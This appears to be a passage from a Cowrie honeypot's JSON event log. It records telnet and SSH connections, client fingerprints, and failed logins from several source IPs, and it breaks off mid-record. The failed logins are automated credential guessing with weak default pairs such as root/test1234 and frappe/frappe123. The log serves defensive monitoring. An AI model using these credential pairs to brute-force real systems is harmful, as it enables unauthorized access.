{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38210,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01d5c5fc0cb","protocol":"telnet","message":"New connection: 65.60.27.33:38210 (10.17.0.5:23) [session: e01d5c5fc0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:03.683247Z"}
{"eventid":"cowrie.session.closed","duration":34.56662559509277,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:04.069767Z","src_ip":"62.210.97.77","session":"23e905096a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35734,"dst_ip":"159.203.135.109","dst_port":23,"session":"1becce387cd1","protocol":"telnet","message":"New connection: 136.144.139.78:35734 (159.203.135.109:23) [session: 1becce387cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:04.623306Z"}
{"eventid":"cowrie.session.closed","duration":33.01370048522949,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:05.299736Z","src_ip":"62.210.97.77","session":"eceae3b40bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38932,"dst_ip":"10.17.0.5","dst_port":22,"session":"39384c709a50","protocol":"ssh","message":"New connection: 176.65.132.254:38932 (10.17.0.5:22) [session: 39384c709a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:05.651760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:05.657107Z","src_ip":"176.65.132.254","session":"39384c709a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34396,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd67dd40c26","protocol":"telnet","message":"New connection: 62.210.97.77:34396 (10.17.0.5:23) [session: 5dd67dd40c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:05.694003Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:05.747280Z","src_ip":"176.65.132.254","session":"39384c709a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:06.049381Z","src_ip":"176.65.132.254","session":"39384c709a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:07.299568Z","src_ip":"176.65.132.254","session":"39384c709a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.011664152145386,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:08.202975Z","src_ip":"62.210.97.77","session":"c194805f2427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35740,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceb44def4860","protocol":"telnet","message":"New connection: 136.144.139.78:35740 (159.203.135.109:23) [session: ceb44def4860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:08.268718Z"}
{"eventid":"cowrie.session.closed","duration":39.289761781692505,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:09.752535Z","src_ip":"62.210.97.77","session":"96e9de7d76ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38938,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa4f149dc3a4","protocol":"ssh","message":"New connection: 176.65.132.254:38938 (10.17.0.5:22) [session: fa4f149dc3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:09.847726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:09.853424Z","src_ip":"176.65.132.254","session":"fa4f149dc3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:09.943146Z","src_ip":"176.65.132.254","session":"fa4f149dc3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.902615785598755,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:10.585741Z","src_ip":"65.60.27.33","session":"e01d5c5fc0cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:11.055826Z","src_ip":"176.65.132.254","session":"fa4f149dc3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:12.147308Z","src_ip":"176.65.132.254","session":"fa4f149dc3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.47474193572998,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:12.631280Z","src_ip":"62.210.97.77","session":"ad30a652ac79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58864,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ed0820c84c","protocol":"ssh","message":"New connection: 176.65.132.254:58864 (10.17.0.5:22) [session: 65ed0820c84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:13.981690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:13.987236Z","src_ip":"176.65.132.254","session":"65ed0820c84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:14.069389Z","src_ip":"176.65.132.254","session":"65ed0820c84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:14.345143Z","src_ip":"176.65.132.254","session":"65ed0820c84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50300,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7237968274b","protocol":"telnet","message":"New connection: 134.209.8.29:50300 (159.203.135.109:23) [session: b7237968274b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:15.090244Z"}
{"eventid":"cowrie.session.closed","duration":33.07027196884155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:15.358915Z","src_ip":"62.210.97.77","session":"f6321b85496e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35906,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6418032ae0","protocol":"telnet","message":"New connection: 62.210.97.77:35906 (10.17.0.5:23) [session: ec6418032ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:15.389811Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:15.645169Z","src_ip":"176.65.132.254","session":"65ed0820c84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.687496423721313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:16.499315Z","src_ip":"62.210.97.77","session":"41d0ead339b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52958,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a6f6d48bf8","protocol":"telnet","message":"New connection: 65.60.27.33:52958 (10.17.0.5:23) [session: 11a6f6d48bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:17.263634Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54e752b567b","protocol":"telnet","message":"New connection: 62.210.97.77:35918 (10.17.0.5:23) [session: e54e752b567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:17.736206Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58866,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce57839f442","protocol":"ssh","message":"New connection: 176.65.132.254:58866 (10.17.0.5:22) [session: 4ce57839f442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:17.959261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:18.141082Z","src_ip":"176.65.132.254","session":"4ce57839f442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:18.146840Z","src_ip":"176.65.132.254","session":"4ce57839f442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88610863685608,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:18.801076Z","src_ip":"62.210.97.77","session":"5253e91a4575","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:19.147432Z","src_ip":"176.65.132.254","session":"4ce57839f442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:20.355411Z","src_ip":"176.65.132.254","session":"4ce57839f442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13920474052429,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:20.618670Z","src_ip":"62.210.97.77","session":"5729db5bc720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9cbb25b34d5","protocol":"telnet","message":"New connection: 62.210.97.77:36408 (10.17.0.5:23) [session: f9cbb25b34d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:21.440241Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44962,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69cd73caf75","protocol":"ssh","message":"New connection: 176.65.132.254:44962 (10.17.0.5:22) [session: e69cd73caf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:22.423063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:22.427907Z","src_ip":"176.65.132.254","session":"e69cd73caf75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:22.510842Z","src_ip":"176.65.132.254","session":"e69cd73caf75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:22.758856Z","src_ip":"176.65.132.254","session":"e69cd73caf75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"036209a67869","protocol":"telnet","message":"New connection: 62.210.97.77:36414 (10.17.0.5:23) [session: 036209a67869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:22.932017Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":49676,"dst_ip":"159.203.135.109","dst_port":23,"session":"d32ce8caba9d","protocol":"telnet","message":"New connection: 136.144.139.78:49676 (159.203.135.109:23) [session: d32ce8caba9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:23.620989Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60094,"dst_ip":"10.17.0.5","dst_port":23,"session":"227ee3bf427c","protocol":"telnet","message":"New connection: 65.60.27.33:60094 (10.17.0.5:23) [session: 227ee3bf427c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:23.889486Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:23.956678Z","src_ip":"176.65.132.254","session":"e69cd73caf75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.047446966171265,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:24.542943Z","src_ip":"134.209.8.29","session":"652eef4e20d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36430,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ec4ebcac2c6","protocol":"telnet","message":"New connection: 62.210.97.77:36430 (10.17.0.5:23) [session: 5ec4ebcac2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:25.595091Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03a551e6393","protocol":"telnet","message":"New connection: 65.60.27.33:33114 (10.17.0.5:23) [session: d03a551e6393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:25.989662Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36446,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ea9f25e34c","protocol":"telnet","message":"New connection: 62.210.97.77:36446 (10.17.0.5:23) [session: 17ea9f25e34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.029504Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9496f8ef3a","protocol":"telnet","message":"New connection: 65.60.27.33:34510 (10.17.0.5:23) [session: 8e9496f8ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.326030Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44970,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aaff24dbd45","protocol":"ssh","message":"New connection: 176.65.132.254:44970 (10.17.0.5:22) [session: 2aaff24dbd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.599852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.605235Z","src_ip":"176.65.132.254","session":"2aaff24dbd45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-e